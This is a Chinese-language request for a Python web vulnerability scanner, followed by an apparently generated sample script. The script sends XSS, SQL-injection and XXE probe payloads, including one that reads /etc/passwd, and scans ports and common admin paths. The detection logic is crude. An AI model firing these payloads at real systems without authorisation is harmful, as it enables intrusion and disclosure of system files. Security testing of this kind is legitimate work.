Python实现web漏洞扫描功能，漏洞包括：xss漏洞、SQL注入、XXE漏洞、文件包含漏洞、文件上传漏洞、文件下载漏洞、CSRF漏洞等， 功能包括：基础的IP扫描、端口扫描、暴力破解、后台扫描、域名扫描等，每扫描出一个漏洞，输出漏洞信息

实现这样的功能需要使用一些第三方库。以下是一个简单的示例代码：

import requests
import re

# 定义常量
USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3"
TIMEOUT = 3

# 定义漏洞检测函数
def check_xss(url):
    payload = "<script>alert('xss');</script>"
    r = requests.get(url + payload, headers={"User-Agent": USER_AGENT}, timeout=TIMEOUT)
    if payload in r.text:
        print("[+] Found XSS vulnerability: " + url)

def check_sqli(url):
    payload = "1' and 1=1 union select 1,2,3"
    r = requests.get(url + "?id=" + payload, headers={"User-Agent": USER_AGENT}, timeout=TIMEOUT)
    if "1,2,3" in r.text:
        print("[+] Found SQLi vulnerability: " + url)

def check_xxe(url):
    payload = """<!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/passwd">]>
                 <foo>&xxe;</foo>"""
    r = requests.post(url, data=payload, headers={"User-Agent": USER_AGENT}, timeout=TIMEOUT)
    if "root:" in r.text:
        print("[+] Found XXE vulnerability: " + url)

# 其他漏洞检测函数类似

# 定义扫描函数
def scan(url):
    try:
        r = requests.get(url, headers={"User-Agent": USER_AGENT}, timeout=TIMEOUT)
        if r.status_code == 200:
            check_xss(url)
            check_sqli(url)
            check_xxe(url)
            # 其他漏洞检测函数调用类似
    except Exception as e:
        print("[-] Failed to connect to " + url)
        print(e)

# 定义IP、端口扫描函数
def scan_ports(ip, ports):
    for port in ports:
        url = "http://" + ip + ":" + str(port)
        scan(url)

# 定义后台、域名扫描函数
def scan_site(site):
    urls = [site + "/admin", site + "/wp-admin", site + "/manage", site + "/login", site + "/admin.php"]
    for url in urls:
        scan(url)
    # 域名扫描代码类似

# 调用扫描函数
scan("http://example.com")
scan_ports("127.0.0.1", [80, 8080, 443])
scan_site("http://example.com")

需要注意的是，这只是一个简单的示例代码，实际应用中还需要考虑很多细节和安全问题。建议使用现成的漏洞扫描工具，或者在专业人士指导下进行开发。